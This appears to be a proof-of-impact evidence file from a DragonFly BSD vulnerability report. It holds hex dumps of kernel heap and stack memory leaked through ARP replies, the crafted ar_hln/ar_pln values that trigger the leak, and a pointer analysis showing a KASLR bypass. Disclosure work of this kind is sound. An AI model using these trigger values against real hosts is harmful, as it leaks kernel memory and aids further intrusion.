DF-0494 / leak_sample.txt
DF-0494 — captured kernel-memory leak samples (raw bytes from ARP REPLY)
=======================================================================
All bytes below were returned by the victim kernel inside an ARP REPLY frame
that the victim generated in response to a single crafted ARP REQUEST. The
attacker never sent these bytes; they are out-of-bounds kernel reads driven
by the attacker-controlled ar_hln / ar_pln fields.
Guest: DragonFly 6.5-DEVELOPMENT #0 (tap0 = 10.99.99.1, attacker = 10.99.99.2)
================================================================
[1] HEAP LEAK -- ar_hln=100, ar_pln=4 (memcpy(ar_sha, IF_LLADDR, ar_hln))
================================================================
Reply ar_sha field (100 bytes). Bytes [0..5] = tap0 real MAC. Bytes [6..99]
= 94 bytes of adjacent kernel heap past the interface's sockaddr_dl link
address. NOTE: the attacker's request filler was 0xCC; none of the leaked
bytes are 0xCC -> this is genuine kernel memory, not echoed request data.
0000: 00 bd d1 86 02 00 00 00 00 00 00 00 00 00 00 00 [0..5]=real MAC
0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0020: 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 +0x2c: 0x0c (kernel field)
0030: 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 +0x34: 0xffffffff (INADDR_BROADCAST / ~0 marker)
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0060: 00 00 00 00
Leak size scales perfectly with ar_hln (proof it is the ar_hln-driven OOB):
ar_hln=16 -> 10 bytes leaked (16-6)
ar_hln=32 -> 26 bytes leaked (32-6)
ar_hln=48 -> 42 bytes leaked
ar_hln=64 -> 58 bytes leaked
ar_hln=100 -> 94 bytes leaked
=> leaked_bytes == ar_hln - 6 (attacker controls the size, up to 249 on
real hardware; tap harness mbuf-chaining
caps the demo at ar_hln<=~106)
================================================================
[2] STACK LEAK -- ar_hln=6, ar_pln=100 (memcpy(ar_spa, &taddr, ar_pln))
================================================================
Reply ar_spa field (100 bytes). Bytes [0..3] = victim IP (10.99.99.1 =
0a 63 63 01). Bytes [4..99] = 96 bytes of in_arpreply()'s stack frame and
the frames above it (return addresses, saved rbp, locals, arguments).
0000: 0a 63 63 01 80 8a 1f 8d 00 f8 ff ff d2 b1 67 80 [0..3]=victim IP
0010: ff ff ff ff 1f 00 00 00 00 00 00 00 20 00 00 00
0020: 00 00 00 00 30 f0 ab 8b 00 f8 ff ff 00 f0 ab 8b
0030: 00 f8 ff ff 00 f0 ab 8b 00 f8 ff ff 40 60 17 81
0040: ff ff ff ff b0 8a 1f 8d 00 f8 ff ff a9 64 74 80
0050: ff ff ff ff 40 60 17 81 ff ff ff ff 00 20 8c 81
0060: ff ff ff ff
Kernel-pointer scan of the 96 stack-leak bytes (10 canonical kernel addresses):
stack+ 0 (abs 4): 0xfffff8008d1f8a80 kernel virtual (struct/heap ptr)
stack+ 8 (abs 12): 0xffffffff8067b1d2 kernel .text *** RETURN ADDRESS ***
stack+32 (abs 36): 0xfffff8008babf030 kernel virtual (struct/heap ptr)
stack+40 (abs 44): 0xfffff8008babf000 kernel virtual (struct/heap ptr)
stack+48 (abs 52): 0xfffff8008babf000 kernel virtual (struct/heap ptr)
stack+56 (abs 60): 0xffffffff81176040 kernel .text (return address)
stack+64 (abs 68): 0xfffff8008d1f8ab0 kernel virtual (struct/heap ptr)
stack+72 (abs 76): 0xffffffff807464a9 kernel .text (return address)
stack+80 (abs 84): 0xffffffff81176040 kernel .text (return address)
stack+88 (abs 92): 0xffffffff818c2000 kernel .text/.data
VERIFICATION that the leaked text pointers are real (not garbage):
- Guest kernel .text/.data symbol range: 0xffffffff80200000 .. 0xffffffff81b25e20
(from `nm /boot/kernel/kernel`). ALL four 0xffffffff80?????? leaked values
fall inside this range.
- objdump pinpoints 0xffffffff8067b1d2 exactly:
ffffffff8067b1cd: e8 0e 5c 00 00 callq ffffffff80680de0 <ssleep>
ffffffff8067b1d2: 85 c0 test %eax,%eax
i.e. it is the return address immediately following a call to ssleep() --
a real call-stack return address leaked to userspace.
IMPACT: direct KASLR defeat (kernel-text base disclosed) + kernel heap-pointer
disclosure + stack-layout disclosure, all from one unauthenticated ARP REQUEST
on the same L2 segment. No credentials, no session, single packet.